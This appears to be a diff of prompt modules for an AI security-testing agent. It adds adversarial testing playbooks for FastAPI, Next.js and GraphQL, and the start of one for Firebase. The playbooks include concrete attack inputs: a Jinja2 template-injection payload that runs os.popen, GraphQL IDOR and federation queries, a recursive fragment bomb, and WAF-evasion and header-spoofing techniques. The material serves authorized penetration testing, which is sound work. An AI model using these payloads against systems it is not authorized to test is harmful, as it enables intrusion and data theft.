f"List of prompt modules to load for this agent (max 3). "
|
||||
f"Available modules: {', '.join(description_parts)}. "
|
||||
f"List of prompt modules to load for this agent (max 5). Available modules: {modules_str}. "
|
||||
)
|
||||
|
||||
example_modules = []
|
||||
for modules in available_modules.values():
|
||||
example_modules.extend(modules[:2])
|
||||
if len(example_modules) >= 2:
|
||||
break
|
||||
|
||||
example_modules = sorted_modules[:2]
|
||||
if example_modules:
|
||||
example = f"Example: {example_modules[:2]} for specialized agent"
|
||||
example = f"Example: {', '.join(example_modules)} for specialized agent"
|
||||
description += example
|
||||
|
||||
return description
|
||||
|
||||
@@ -28,7 +28,7 @@ AGENT TYPES YOU CAN CREATE:
|
||||
COORDINATION GUIDELINES:
|
||||
- Ensure clear task boundaries and success criteria
|
||||
- Terminate redundant agents when objectives overlap
|
||||
- Use message passing for agent communication
|
||||
- Use message passing only when essential (requests/answers or critical handoffs); avoid routine status messages and prefer batched updates
|
||||
</agent_management>
|
||||
|
||||
<final_responsibilities>
|
||||
|
||||
@@ -0,0 +1,142 @@
|
||||
<fastapi_security_testing_guide>
|
||||
<title>FASTAPI — ADVERSARIAL TESTING PLAYBOOK</title>
|
||||
|
||||
<critical>FastAPI (on Starlette) spans HTTP, WebSocket, and background tasks with powerful dependency injection and automatic OpenAPI. Security breaks where identity, authorization, and validation drift across routers, middlewares, proxies, and channels. Treat every dependency, header, and object reference as untrusted until bound to the caller and tenant.</critical>
|
||||
|
||||
<surface_map>
|
||||
- ASGI stack: Starlette middlewares (CORS, TrustedHost, ProxyHeaders, Session), exception handlers, lifespan events
|
||||
- Routers/sub-apps: APIRouter with prefixes/tags, mounted apps (StaticFiles, admin subapps), `include_router`, versioned paths
|
||||
- Security and DI: `Depends`, `Security`, `OAuth2PasswordBearer`, `HTTPBearer`, scopes, per-router vs per-route dependencies
|
||||
- Models and validation: Pydantic v1/v2 models, unions/Annotated, custom validators, extra fields policy, coercion
|
||||
- Docs and schema: `/openapi.json`, `/docs`, `/redoc`, alternative docs_url/redoc_url, schema extensions
|
||||
- Files and static: `UploadFile`, `File`, `FileResponse`, `StaticFiles` mounts, template engines (`Jinja2Templates`)
|
||||
- Channels: HTTP (sync/async), WebSocket, StreamingResponse/SSE, BackgroundTasks/Task queues
|
||||
- Deployment: Uvicorn/Gunicorn, reverse proxies/CDN, TLS termination, header trust
|
||||
</surface_map>
|
||||
|
||||
<methodology>
|
||||
1. Enumerate routes from OpenAPI and via crawling; diff with 404-fuzzing for hidden endpoints (`include_in_schema=False`).
|
||||
2. Build a Principal × Channel × Content-Type matrix (unauth, user, staff/admin; HTTP vs WebSocket; JSON/form/multipart) and capture baselines.
|
||||
3. For each route, identify dependencies (router-level and route-level). Attempt to satisfy security dependencies minimally, then mutate context (tokens, scopes, tenant headers) and object IDs.
|
||||
4. Compare behavior across deployments: dev/stage/prod often differ in middlewares (CORS, TrustedHost, ProxyHeaders) and docs exposure.
|
||||
</methodology>
|
||||
|
||||
<high_value_targets>
|
||||
- `/openapi.json`, `/docs`, `/redoc` in production (full attack surface map; securitySchemes and server URLs)
|
||||
- Auth flows: token endpoints, session/cookie bridges, OAuth device/PKCE, scope checks
|
||||
- Admin/staff routers, feature-flagged routes, `include_in_schema=False` endpoints
|
||||
- File upload/download, import/export/report endpoints, signed URL generators
|
||||
- WebSocket endpoints carrying notifications, admin channels, or commands
|
||||
- Background job creation/fetch (`/jobs/{id}`, `/tasks/{id}/result`)
|
||||
- Mounted subapps (admin UI, storage browsers, metrics/health endpoints)
|
||||
</high_value_targets>
|
||||
|
||||
<advanced_techniques>
|
||||
<openapi_and_docs>
|
||||
- Try default and alternate locations: `/openapi.json`, `/docs`, `/redoc`, `/api/openapi.json`, `/internal/openapi.json`.
|
||||
- If OpenAPI is exposed, mine: paths, parameter names, securitySchemes, scopes, servers; find endpoints hidden in UI but present in schema.
|
||||
- Schema drift: endpoints with `include_in_schema=False` won’t appear—use wordlists based on tags/prefixes and common admin/debug names.
|
||||
</openapi_and_docs>
|
||||
|
||||
<dependency_injection_and_security>
|
||||
- Router vs route dependencies: routes may miss security dependencies present elsewhere; check for unprotected variants of protected actions.
|
||||
- Minimal satisfaction: `OAuth2PasswordBearer` only yields a token string—verify if any route treats token presence as auth without verification.
|
||||
- Scope checks: ensure scopes are enforced by the dependency (e.g., `Security(...)`); routes using `Depends` instead may ignore requested scopes.
|
||||
- Header/param aliasing: DI sources headers/cookies/query by name; try case variations and duplicates to influence which value binds.
|
||||
</dependency_injection_and_security>
|
||||
|
||||
<auth_and_jwt>
|
||||
- Token misuse: developers may decode JWTs without verifying signature/issuer/audience; attempt unsigned/attacker-signed tokens and cross-service audiences.
|
||||
- Algorithm/key confusion: try HS/RS cross-use if verification is not pinned; inject `kid` header targeting local files/paths where custom key lookup exists.
|
||||
- Session bridges: check cookies set via SessionMiddleware or custom cookies. Attempt session fixation and forging if weak `secret_key` or predictable signing is used.
|
||||
- Device/PKCE flows: verify strict PKCE S256 and state/nonce enforcement if OAuth/OIDC is integrated.
|
||||
</auth_and_jwt>
|
||||
|
||||
<cors_and_csrf>
|
||||
- CORS reflection: broad `allow_origin_regex` or mis-specified origins can permit cross-site reads; test arbitrary Origins and credentialed requests.
|
||||
- CSRF: FastAPI/Starlette lack built-in CSRF. If cookies carry auth, attempt state-changing requests via cross-site forms/XHR; validate origin header checks and same-site settings.
|
||||
</cors_and_csrf>
|
||||
|
||||
<proxy_and_host_trust>
|
||||
- ProxyHeadersMiddleware: if enabled without network boundary, spoof `X-Forwarded-For/Proto` to influence auth/IP gating and secure redirects.
|
||||
- TrustedHostMiddleware absent or lax: perform Host header poisoning; attempt password reset links / absolute URL generation under attacker host.
|
||||
- Upstream/CDN cache keys: ensure Vary on Authorization/Cookie/Tenant; try cache key confusion to leak personalized responses.
|
||||
</proxy_and_host_trust>
|
||||
|
||||
<static_and_uploads>
|
||||
- UploadFile.filename: attempt path traversal and control characters; verify server joins/sanitizes and enforces storage roots.
|
||||
- FileResponse/StaticFiles: confirm directory boundaries and index/auto-listing; probe symlinks and case/encoding variants.
|
||||
- Parser differentials: send JSON vs multipart for the same route to hit divergent code paths/validators.
|
||||
</static_and_uploads>
|
||||
|
||||
<template_injection>
|
||||
- Jinja2 templates via `TemplateResponse`: search for unescaped injection in variables and filters. Probe with minimal expressions:
|
||||
{% raw %}- `{{7*7}}` → arithmetic confirmation
|
||||
- `{{cycler.__init__.__globals__['os'].popen('id').read()}}` for RCE in unsafe contexts{% endraw %}
|
||||
- Confirm autoescape and strict sandboxing; inspect custom filters/globals.
|
||||
</template_injection>
|
||||
|
||||
<ssrf_and_outbound>
|
||||
- Endpoints fetching user-supplied URLs (imports, previews, webhooks validation): test loopback/RFC1918/IPv6, redirects, DNS rebinding, and header control.
|
||||
- Library behavior (httpx/requests): examine redirect policy, header forwarding, and protocol support; try `file://`, `ftp://`, or gopher-like shims if custom clients are used.
|
||||
</ssrf_and_outbound>
|
||||
|
||||
<websockets>
|
||||
- Authenticate each connection (query/header/cookie). Attempt cross-origin handshakes and cookie-bearing WS from untrusted origins.
|
||||
- Topic naming and authorization: if using user/tenant IDs in channels, subscribe/publish to foreign IDs.
|
||||
- Message-level checks: ensure per-message authorization, not only at handshake.
|
||||
</websockets>
|
||||
|
||||
<background_tasks_and_jobs>
|
||||
- BackgroundTasks that act on IDs must re-enforce ownership/tenant at execution time. Attempt to fetch/cancel others’ jobs by referencing their IDs.
|
||||
- Export/import pipelines: test job/result endpoints for IDOR and cross-tenant leaks.
|
||||
</background_tasks_and_jobs>
|
||||
|
||||
<multi_app_mounting>
|
||||
- Mounted subapps (e.g., `/admin`, `/static`, `/metrics`) may bypass global middlewares. Confirm middleware parity and auth on mounts.
|
||||
</multi_app_mounting>
|
||||
</advanced_techniques>
|
||||
|
||||
<bypass_techniques>
|
||||
- Content-type switching: `application/json` ↔ `application/x-www-form-urlencoded` ↔ `multipart/form-data` to traverse alternate validators/handlers.
|
||||
- Parameter duplication and case variants to exploit DI precedence.
|
||||
- Method confusion via proxies (e.g., `X-HTTP-Method-Override`) if upstream respects it while app does not.
|
||||
- Race windows around dependency-validated state transitions (issue token then mutate with parallel requests).
|
||||
</bypass_techniques>
|
||||
|
||||
<special_contexts>
|
||||
<pydantic_edges>
|
||||
- Coercion: strings to ints/bools, empty strings to None; exploit truthiness and boundary conditions.
|
||||
- Extra fields: if models allow/ignore extras, sneak in control fields for downstream logic (scope/role/ownerId) that are later trusted.
|
||||
- Unions and `Annotated`: craft shapes hitting unintended branches.
|
||||
</pydantic_edges>
|
||||
|
||||
<graphql_and_alt_stacks>
|
||||
- If GraphQL (Strawberry/Graphene) is mounted, validate resolver-level authorization and IDOR on node/global IDs.
|
||||
- If SQLModel/SQLAlchemy present, probe for raw query usage and row-level authorization gaps.
|
||||
</graphql_and_alt_stacks>
|
||||
</special_contexts>
|
||||
|
||||
<validation>
|
||||
1. Show unauthorized data access or action with side-by-side owner vs non-owner requests (or different tenants).
|
||||
2. Demonstrate cross-channel consistency (HTTP and WebSocket) for the same rule.
|
||||
3. Include proof where proxies/headers/caches alter outcomes (Host/XFF/CORS).
|
||||
4. Provide minimal payloads confirming template/SSRF execution or token misuse, with safe or OAST-based oracles.
|
||||
5. Document exact dependency paths (router-level, route-level) that missed enforcement.
|
||||
</validation>
|
||||
|
||||
<pro_tips>
|
||||
1. Always fetch `/openapi.json` first; it’s the blueprint. If hidden, brute-force likely admin/report/export routes.
|
||||
2. Trace dependencies per route; map which ones enforce auth/scopes vs merely parse input.
|
||||
3. Treat tokens returned by `OAuth2PasswordBearer` as untrusted strings—verify actual signature and claims on the server.
|
||||
4. Test CORS with arbitrary Origins and with credentials; verify preflight and actual request deltas.
|
||||
5. Add Host and X-Forwarded-* fuzzing when behind proxies; watch for redirect/absolute URL differences.
|
||||
6. For uploads, vary filename encodings, dot segments, and NUL-like bytes; verify storage paths and served URLs.
|
||||
7. Use content-type toggling to hit alternate validators and code paths.
|
||||
8. For WebSockets, test cookie-based auth, origin restrictions, and per-message authorization.
|
||||
9. Mine client bundles/env for secret paths and preview/admin flags; many teams hide routes via UI only.
|
||||
10. Keep PoCs minimal and durable (IDs, headers, small payloads) and prefer reproducible diffs over noisy payloads.
|
||||
</pro_tips>
|
||||
|
||||
<remember>Authorization and validation must be enforced in the dependency graph and at the resource boundary for every path and channel. If any route, middleware, or mount skips binding subject, action, and object/tenant, expect cross-user and cross-tenant breakage.</remember>
|
||||
</fastapi_security_testing_guide>
|
||||
@@ -0,0 +1,126 @@
|
||||
<nextjs_security_testing_guide>
|
||||
<title>NEXT.JS — ADVERSARIAL TESTING PLAYBOOK</title>
|
||||
|
||||
<critical>Modern Next.js combines multiple execution contexts (Edge, Node, RSC, client) with smart caching (ISR/RSC fetch cache), middleware, and server actions. Authorization and cache boundaries must be enforced consistently across all paths or attackers will cross tenants, leak data, or invoke privileged actions.</critical>
|
||||
|
||||
<surface_map>
|
||||
- Routers: App Router (`app/`) and Pages Router (`pages/`) coexist; test both
|
||||
- Runtimes: Node.js vs Edge (V8 isolates with restricted APIs)
|
||||
- Data paths: RSC (server components), Client components, Route Handlers (`app/api/**`), API routes (`pages/api/**`)
|
||||
- Middleware: `middleware.ts`/`_middleware.ts`
|
||||
- Rendering modes: SSR, SSG, ISR, on-demand revalidation, draft/preview mode
|
||||
- Images: `next/image` optimization and remote loader
|
||||
- Auth: NextAuth.js (callbacks, CSRF/state, callbackUrl), custom JWT/session bridges
|
||||
- Server Actions: streamed POST with `Next-Action` header and action IDs
|
||||
</surface_map>
|
||||
|
||||
<methodology>
|
||||
1. Inventory routes (pages + app), static vs dynamic segments, and params. Map middleware coverage and runtime per path.
|
||||
2. Capture baseline for each role (unauth, user, admin) across SSR, API routes, Route Handlers, Server Actions, and streaming data.
|
||||
3. Diff responses while toggling runtime (Edge/Node), content-type, fetch cache directives, and preview/draft mode.
|
||||
4. Probe caching and revalidation boundaries (ISR, RSC fetch, CDN) for cross-user/tenant leaks.
|
||||
</methodology>
|
||||
|
||||
<high_value_targets>
|
||||
- Middleware-protected routes (auth, geo, A/B)
|
||||
- Admin/staff paths, draft/preview content, on-demand revalidate endpoints
|
||||
- RSC payloads and flight data, streamed responses (server actions)
|
||||
- Image optimizer and custom loaders, remotePatterns/domains
|
||||
- NextAuth callbacks (`/api/auth/callback/*`), sign-in providers, CSRF/state handling
|
||||
- Edge-only features (bot protection, IP gates) and their Node equivalents
|
||||
</high_value_targets>
|
||||
|
||||
<advanced_techniques>
|
||||
<middleware_bypass>
|
||||
- Test for CVE-class middleware bypass via `x-middleware-subrequest` crafting and `x-nextjs-data` probing. Look for 307 + `x-middleware-rewrite`/`x-nextjs-redirect` headers and attempt bypass on protected routes.
|
||||
- Attempt direct route access on Node vs Edge runtimes; confirm protection parity.
|
||||
</middleware_bypass>
|
||||
|
||||
<server_actions>
|
||||
- Capture streamed POSTs containing `Next-Action` headers. Map hashed action IDs via source maps or specialized tooling to discover hidden actions.
|
||||
- Invoke actions out of UI flow and with alternate content-types; verify server-side authorization is enforced per action and not assumed from client state.
|
||||
- Try cross-tenant/object references within action payloads to expose BOLA/IDOR via server actions.
|
||||
</server_actions>
|
||||
|
||||
<rsc_and_cache>
|
||||
- RSC fetch cache: probe `fetch` cache modes (force-cache, default, no-store) and revalidate tags/paths. Look for user-bound data cached without identity keys (ETag/Set-Cookie unaware).
|
||||
- Confirm that personalized data is rendered via `no-store` or properly keyed; attempt cross-user content via shared caches/CDN.
|
||||
- Inspect Flight data streams for serialized sensitive fields leaking through props.
|
||||
</rsc_and_cache>
|
||||
|
||||
<isr_and_revalidation>
|
||||
- Identify ISR pages (stale-while-revalidate). Check if responses may include user-bound fragments or tenant-dependent content.
|
||||
- On-demand revalidation endpoints: look for weak secrets in URLs, referer-disclosed tokens, or unvalidated hosts triggering `revalidatePath`/`revalidateTag`.
|
||||
- Attempt header-smuggling or method variations to trigger revalidation flows.
|
||||
</isr_and_revalidation>
|
||||
|
||||
<draft_preview_mode>
|
||||
- Draft/preview mode toggles via secret URLs/cookies; search for preview enable endpoints and secrets in client bundles/env leaks.
|
||||
- Try setting preview cookies from subdomains, alternate paths, or through open redirects; observe content differences and persistence.
|
||||
</draft_preview_mode>
|
||||
|
||||
<next_image_ssrf>
|
||||
- Review `images.domains`/`remotePatterns` in `next.config.js`; test SSRF to internal hosts (IPv4/IPv6 variants, DNS rebinding) if patterns are broad.
|
||||
- Custom loader functions may fetch with arbitrary URLs; test protocol smuggling and redirection chains.
|
||||
- Attempt cache poisoning: craft same URL with different normalization to affect other users.
|
||||
</next_image_ssrf>
|
||||
|
||||
<nextauth_pitfalls>
|
||||
- State/nonce/PKCE: validate per-provider correctness; attempt missing/relaxed checks leading to login CSRF or token mix-up.
|
||||
- Callback URL restrictions: open redirect in `callbackUrl` or mis-scoped allowed hosts; hijack sessions by forcing callbacks.
|
||||
- JWT/session bridges: audience/issuer not enforced across API routes/Route Handlers; attempt cross-service token reuse.
|
||||
</nextauth_pitfalls>
|
||||
|
||||
<edge_runtime_diffs>
|
||||
- Edge runtime lacks certain Node APIs; defenses relying on Node-only modules may be skipped. Compare behavior of the same route in Edge vs Node.
|
||||
- Header trust and IP determination can differ at the edge; test auth decisions tied to `x-forwarded-*` variance.
|
||||
</edge_runtime_diffs>
|
||||
|
||||
<client_and_dom>
|
||||
- Identify `dangerouslySetInnerHTML`, Markdown renderers, and user-controlled href/src attributes. Validate CSP/Trusted Types coverage for SSR/CSR/hydration.
|
||||
- Attack hydration boundaries: server vs client render mismatches can enable gadget-based XSS.
|
||||
</client_and_dom>
|
||||
</advanced_techniques>
|
||||
|
||||
<bypass_techniques>
|
||||
- Content-type switching: `application/json` ↔ `multipart/form-data` ↔ `application/x-www-form-urlencoded` to traverse alternate code paths.
|
||||
- Method override/tunneling: `_method`, `X-HTTP-Method-Override`, GET on endpoints unexpectedly accepting writes.
|
||||
- Case/param aliasing and query duplication affecting middleware vs handler parsing.
|
||||
- Cache key confusion at CDN/proxy (lack of Vary on auth cookies/headers) to leak personalized SSR/ISR content.
|
||||
</bypass_techniques>
|
||||
|
||||
<special_contexts>
|
||||
<uploads_and_files>
|
||||
- API routes and Route Handlers handling file uploads: check MIME sniffing, Content-Disposition, stored path traversal, and public serving of user files.
|
||||
- Validate signing/scoping of any generated file URLs (short TTL, audience-bound).
|
||||
</uploads_and_files>
|
||||
|
||||
<integrations_and_webhooks>
|
||||
- Webhooks that trigger revalidation/imports: require HMAC verification; test with replay and cross-tenant object IDs.
|
||||
- Analytics/AB testing flags controlled via cookies/headers; ensure they do not unlock privileged server paths.
|
||||
</integrations_and_webhooks>
|
||||
</special_contexts>
|
||||
|
||||
<validation>
|
||||
1. Provide side-by-side requests for different principals showing cross-user/tenant content or actions.
|
||||
2. Prove cache boundary failure (RSC/ISR/CDN) with response diffs or ETag collisions.
|
||||
3. Demonstrate server action invocation outside UI with insufficient authorization checks.
|
||||
4. Show middleware bypass (where applicable) with explicit headers and resulting protected content.
|
||||
5. Include runtime parity checks (Edge vs Node) proving inconsistent enforcement.
|
||||
</validation>
|
||||
|
||||
<pro_tips>
|
||||
1. Enumerate with both App and Pages routers: many apps ship a hybrid surface.
|
||||
2. Treat caching as an identity boundary—test with cookies stripped, altered, and with Vary/ETag diffs.
|
||||
3. Decode client bundles for preview/revalidate secrets, action IDs, and hidden routes.
|
||||
4. Use streaming-aware tooling to capture server actions and RSC payloads; diff flight data.
|
||||
5. For NextAuth, fuzz provider params (state, nonce, scope, callbackUrl) and verify strictness.
|
||||
6. Always retest under Edge and Node; misconfigurations often exist in only one runtime.
|
||||
7. Probe `next/image` aggressively but safely—test IPv6/obscure encodings and redirect behavior.
|
||||
8. Validate negative paths: other-user IDs, other-tenant headers/subdomains, lower roles.
|
||||
9. Focus on export/report/download endpoints; they often bypass resolver-level checks.
|
||||
10. Document minimal, reproducible PoCs; avoid noisy payloads—prefer precise diffs.
|
||||
</pro_tips>
|
||||
|
||||
<remember>Next.js security breaks where identity, authorization, and caching diverge across routers, runtimes, and data paths. Bind subject, action, and object on every path, and key caches to identity and tenant explicitly.</remember>
|
||||
</nextjs_security_testing_guide>
|
||||
@@ -0,0 +1,215 @@
|
||||
<graphql_protocol_guide>
|
||||
<title>GRAPHQL — ADVANCED TESTING AND EXPLOITATION</title>
|
||||
|
||||
<critical>GraphQL’s flexibility enables powerful data access, but also unique failures: field- and edge-level authorization drift, schema exposure (even with introspection off), alias/batch abuse, resolver injection, federated trust gaps, and complexity/fragment bombs. Bind subject→action→object at resolver boundaries and validate across every transport and feature flag.</critical>
|
||||
|
||||
<scope>
|
||||
- Queries, mutations, subscriptions (graphql-ws, graphql-transport-ws)
|
||||
- Persisted queries/Automatic Persisted Queries (APQ)
|
||||
- Federation (Apollo/GraphQL Mesh): _service SDL and _entities
|
||||
- File uploads (GraphQL multipart request spec)
|
||||
- Relay conventions: global node IDs, connections/cursors
|
||||
</scope>
|
||||
|
||||
<methodology>
|
||||
1. Fingerprint endpoint(s), transport(s), and stack (framework, plugins, gateway). Note GraphiQL/Playground exposure and CORS/credentials.
|
||||
2. Obtain multiple principals (unauth, basic, premium, admin/staff) and capture at least one valid object ID per subject.
|
||||
3. Acquire schema via introspection; if disabled, infer iteratively from errors, field suggestions, __typename probes, vocabulary brute-force.
|
||||
4. Build an Actor × Operation × Type/Field matrix. Exercise each resolver path with swapped IDs, roles, tenants, and channels (REST proxies, GraphQL HTTP, WS).
|
||||
5. Validate consistency: same authorization and validation across queries, mutations, subscriptions, batch/alias, persisted queries, and federation.
|
||||
</methodology>
|
||||
|
||||
<discovery_techniques>
|
||||
<endpoint_finding>
|
||||
- Common paths: /graphql, /api/graphql, /v1/graphql, /gql
|
||||
- Probe with minimal canary:
|
||||
{% raw %}
|
||||
POST /graphql {"query":"{__typename}"}
|
||||
GET /graphql?query={__typename}
|
||||
{% endraw %}
|
||||
- Detect GraphiQL/Playground; note if accessible cross-origin and with credentials.
|
||||
</endpoint_finding>
|
||||
|
||||
<introspection_and_inference>
|
||||
- If enabled, dump full schema; otherwise:
|
||||
- Use __typename on candidate fields to confirm types
|
||||
- Abuse field suggestions and error shapes to enumerate names/args
|
||||
- Infer enums from “expected one of” errors; coerce types by providing wrong shapes
|
||||
- Reconstruct edges from pagination and connection hints (pageInfo, edges/node)
|
||||
</introspection_and_inference>
|
||||
|
||||
<schema_construction>
|
||||
- Map root operations, object types, interfaces/unions, directives (@auth, @defer, @stream), and custom scalars (Upload, JSON, DateTime)
|
||||
- Identify sensitive fields: email, tokens, roles, billing, file keys, admin flags
|
||||
- Note cascade paths where child resolvers may skip auth under parent assumptions
|
||||
</schema_construction>
|
||||
</discovery_techniques>
|
||||
|
||||
<exploitation_techniques>
|
||||
<authorization_and_idor>
|
||||
- Test field-level and edge-level checks, not just top-level gates. Pair owned vs foreign IDs within the same request via aliases to diff responses.
|
||||
{% raw %}
|
||||
query {
|
||||
me { id }
|
||||
a: order(id:"A_OWNER") { id total owner { id email } }
|
||||
b: order(id:"B_FOREIGN") { id total owner { id email } }
|
||||
}
|
||||
{% endraw %}
|
||||
- Probe mutations for partial updates that bypass validation (JSON Merge Patch semantics in inputs).
|
||||
- Validate node/global ID resolvers (Relay) bind to the caller; decode/replace base64 IDs and compare access.
|
||||
</authorization_and_idor>
|
||||
|
||||
<batching_and_alias>
|
||||
- Alias to perform many logically separate reads in one operation; watch for per-request vs per-field auth discrepancies
|
||||
- If array batching is supported (non-standard), submit multiple operations to bypass rate limits and achieve partial failures
|
||||
{% raw %}
|
||||
query {
|
||||
u1:user(id:"1"){email}
|
||||
u2:user(id:"2"){email}
|
||||
u3:user(id:"3"){email}
|
||||
}
|
||||
{% endraw %}
|
||||
</batching_and_alias>
|
||||
|
||||
<variable_and_shape_abuse>
|
||||
- Scalars vs objects vs arrays: {% raw %}{id:123}{% endraw} vs {% raw %}{id:"123"}{% endraw} vs {% raw %}{id:[123]}{% endraw}; send null/empty/0/-1 and extra object keys retained by backend
|
||||
- Duplicate keys in JSON variables: {% raw %}{"id":1,"id":2}{% endraw} (parser precedence), default argument values, coercion errors leaking field names
|
||||
</variable_and_shape_abuse>
|
||||
|
||||
<cursor_and_projection>
|
||||
- Decode cursors (often base64) to manipulate offsets/IDs and skip filters
|
||||
- Abuse selection sets and fragments to force overfetching of sensitive subfields
|
||||
</cursor_and_projection>
|
||||
|
||||
<file_uploads>
|
||||
- GraphQL multipart: test multiple Upload scalars, filename/path tricks, unexpected content-types, oversize chunks; verify server-side ownership/scoping for returned URLs
|
||||
</file_uploads>
|
||||
</exploitation_techniques>
|
||||
|
||||
<advanced_techniques>
|
||||
<introspection_bypass>
|
||||
- Field suggestion leakage: submit near-miss names to harvest suggestions
|
||||
- Error taxonomy: different codes/messages for unknown field vs unauthorized field reveal existence
|
||||
- __typename sprinkling on edges to confirm types without schema
|
||||
</introspection_bypass>
|
||||
|
||||
<defer_and_stream>
|
||||
- Use @defer and @stream to obtain partial results or subtrees hidden by parent checks; confirm server supports incremental delivery
|
||||
{% raw %}
|
||||
query @defer {
|
||||
me { id }
|
||||
... @defer { adminPanel { secrets } }
|
||||
}
|
||||
{% endraw %}
|
||||
</defer_and_stream>
|
||||
|
||||
<fragment_and_complexity_bombs>
|
||||
- Recursive fragment spreads and wide selection sets cause CPU/memory spikes; craft minimal reproducible bombs to validate cost limits
|
||||
{% raw %}
|
||||
fragment x on User { friends { ...x } }
|
||||
query { me { ...x } }
|
||||
{% endraw %}
|
||||
- Validate depth/complexity limiting, query cost analyzers, and timeouts
|
||||
</fragment_and_complexity_bombs>
|
||||
|
||||
<federation>
|
||||
- Apollo Federation: query _service { sdl } if exposed; target _entities to materialize foreign objects by key without proper auth in subgraphs
|
||||
{% raw %}
|
||||
query {
|
||||
_entities(representations:[
|
||||
{__typename:"User", id:"TARGET"}
|
||||
]) { ... on User { email roles } }
|
||||
}
|
||||
{% endraw %}
|
||||
- Look for auth done at gateway but skipped in subgraph resolvers; cross-subgraph IDOR via inconsistent ownership checks
|
||||
</federation>
|
||||
|
||||
<subscriptions>
|
||||
- Check message-level authorization, not only handshake; attempt to subscribe to channels for other users/tenants; test cross-tenant event leakage
|
||||
- Abuse filter args in subscription resolvers to reference foreign IDs
|
||||
</subscriptions>
|
||||
|
||||
<persisted_queries>
|
||||
- APQ hashes can be guessed/bruteforced or leaked from clients; replay privileged operations by supplying known hashes with attacker variables
|
||||
- Validate that hash→operation mapping enforces principal and operation allowlists
|
||||
</persisted_queries>
|
||||
|
||||
<csrf_and_cors>
|
||||
- If cookie-auth is used and GET is accepted, test CSRF on mutations via query parameters; verify SameSite and origin checks
|
||||
- Cross-origin GraphiQL/Playground exposure with credentials can leak data via postMessage bridges
|
||||
</csrf_and_cors>
|
||||
|
||||
<waf_evasion>
|
||||
- Reshape queries: comments, block strings, Unicode escapes, alias/fragment indirection, JSON variables vs inline args, GET vs POST vs application/graphql
|
||||
- Split fields across fragments and inline spreads to avoid naive signatures
|
||||
</waf_evasion>
|
||||
</advanced_techniques>
|
||||
|
||||
<bypass_techniques>
|
||||
<transport_and_parsers>
|
||||
- Toggle content-types: application/json, application/graphql, multipart/form-data; try GET with query and variables params
|
||||
- HTTP/2 multiplexing and connection reuse to widen timing windows and rate limits
|
||||
</transport_and_parsers>
|
||||
|
||||
<naming_and_aliasing>
|
||||
- Case/underscore variations, Unicode homoglyphs (server-dependent), aliases masking sensitive field names
|
||||
</naming_and_aliasing>
|
||||
|
||||
<gateway_and_cache>
|
||||
- CDN/key confusion: responses cached without considering Authorization or variables; manipulate Vary and Accept headers
|
||||
- Redirects and 304/206 behaviors leaking partially cached GraphQL responses
|
||||
</gateway_and_cache>
|
||||
</bypass_techniques>
|
||||
|
||||
<special_contexts>
|
||||
<relay>
|
||||
- node(id:…) global resolution: decode base64, swap type/id pairs, ensure per-type authorization is enforced inside resolvers
|
||||
- Connections: verify that filters (owner/tenant) apply before pagination; cursor tampering should not cross ownership boundaries
|
||||
</relay>
|
||||
|
||||
<server_plugins>
|
||||
- Custom directives (@auth, @private) and plugins often annotate intent but do not enforce; verify actual checks in each resolver path
|
||||
</server_plugins>
|
||||
</special_contexts>
|
||||
|
||||
<chaining_attacks>
|
||||
- GraphQL + IDOR: enumerate IDs via list fields, then fetch or mutate foreign objects
|
||||
- GraphQL + CSRF: trigger mutations cross-origin when cookies/auth are accepted without proper checks
|
||||
- GraphQL + SSRF: resolvers that fetch URLs (webhooks, metadata) abused to reach internal services
|
||||
</chaining_attacks>
|
||||
|
||||
<validation>
|
||||
1. Provide paired requests (owner vs non-owner) differing only in identifiers/roles that demonstrate unauthorized access or mutation.
|
||||
2. Prove resolver-level bypass: show top-level checks present but child field/edge exposes data.
|
||||
3. Demonstrate transport parity: reproduce via HTTP and WS (subscriptions) or via persisted queries.
|
||||
4. Minimize payloads; document exact selection sets and variable shapes used.
|
||||
</validation>
|
||||
|
||||
<false_positives>
|
||||
- Introspection available only on non-production/stub endpoints
|
||||
- Public fields by design with documented scopes
|
||||
- Aggregations or counts without sensitive attributes
|
||||
- Properly enforced depth/complexity and per-resolver authorization across transports
|
||||
</false_positives>
|
||||
|
||||
<impact>
|
||||
- Cross-account/tenant data exposure and unauthorized state changes
|
||||
- Bypass of federation boundaries enabling lateral access across services
|
||||
- Credential/session leakage via lax CORS/CSRF around GraphiQL/Playground
|
||||
</impact>
|
||||
|
||||
<pro_tips>
|
||||
1. Always diff the same operation under multiple principals with aliases in one request.
|
||||
2. Sprinkle __typename to map types quickly when schema is hidden.
|
||||
3. Attack edges: child resolvers often skip auth compared to parents.
|
||||
4. Try @defer/@stream and subscriptions to slip gated data in incremental events.
|
||||
5. Decode cursors and node IDs; assume base64 unless proven otherwise.
|
||||
6. Federation: exercise _entities with crafted representations; subgraphs frequently trust gateway auth.
|
||||
7. Persisted queries: extract hashes from clients; replay with attacker variables.
|
||||
8. Keep payloads small and structured; restructure rather than enlarge to evade WAFs.
|
||||
9. Validate defenses by code/config review where possible; don’t trust directives alone.
|
||||
10. Prove impact with role-separated, transport-separated, minimal PoCs.
|
||||
</pro_tips>
|
||||
|
||||
<remember>GraphQL security is resolver security. If any resolver on the path to a field fails to bind subject, object, and action, the graph leaks. Validate every path, every transport, every environment.</remember>
|
||||
</graphql_protocol_guide>
|
||||
@@ -0,0 +1,177 @@
|
||||
<firebase_firestore_security_guide>
|
||||
<title>FIREBASE / FIRESTORE — ADVERSARIAL TESTING AND EXPLOITATION</title>
|
||||
|
||||
<critical>Most impactful findings in Firebase apps arise from weak Firestore/Realtime Database rules, Cloud Storage exposure, callable/onRequest Functions trusting client input, incorrect ID token validation, and over-trusted App Check. Treat every client-supplied field and token as untrusted. Bind subject/tenant on the server, not in the client.</critical>
|
||||
|
||||
<scope>
|
||||
- Firestore (documents/collections, rules, REST/SDK)
|
||||
- Realtime Database (JSON tree, rules)
|
||||
- Cloud Storage (rules, signed URLs)
|
||||
- Auth (ID tokens, custom claims, anonymous/sign-in providers)
|
||||
- Cloud Functions (onCall/onRequest, triggers)
|
||||
- Hosting rewrites, CDN/caching, CORS
|
||||
- App Check (attestation) and its limits
|
||||
</scope>
|
||||
|
||||
<methodology>
|
||||
1. Extract project config from client (apiKey, authDomain, projectId, appId, storageBucket, messagingSenderId). Identify all used Firebase products.
|
||||
2. Obtain multiple principals: unauth, anonymous (if enabled), basic user A, user B, and any staff/admin if available. Capture their ID tokens.
|
||||
3. Build Resource × Action × Principal matrix across Firestore/Realtime/Storage/Functions. Exercise every action via SDK and raw REST (googleapis) to detect parity gaps.
|
||||
4. Start from list/query paths (where allowed) to seed IDs; then swap document paths, tenants, and user IDs across principals and transports.
|
||||
</methodology>
|
||||
|
||||
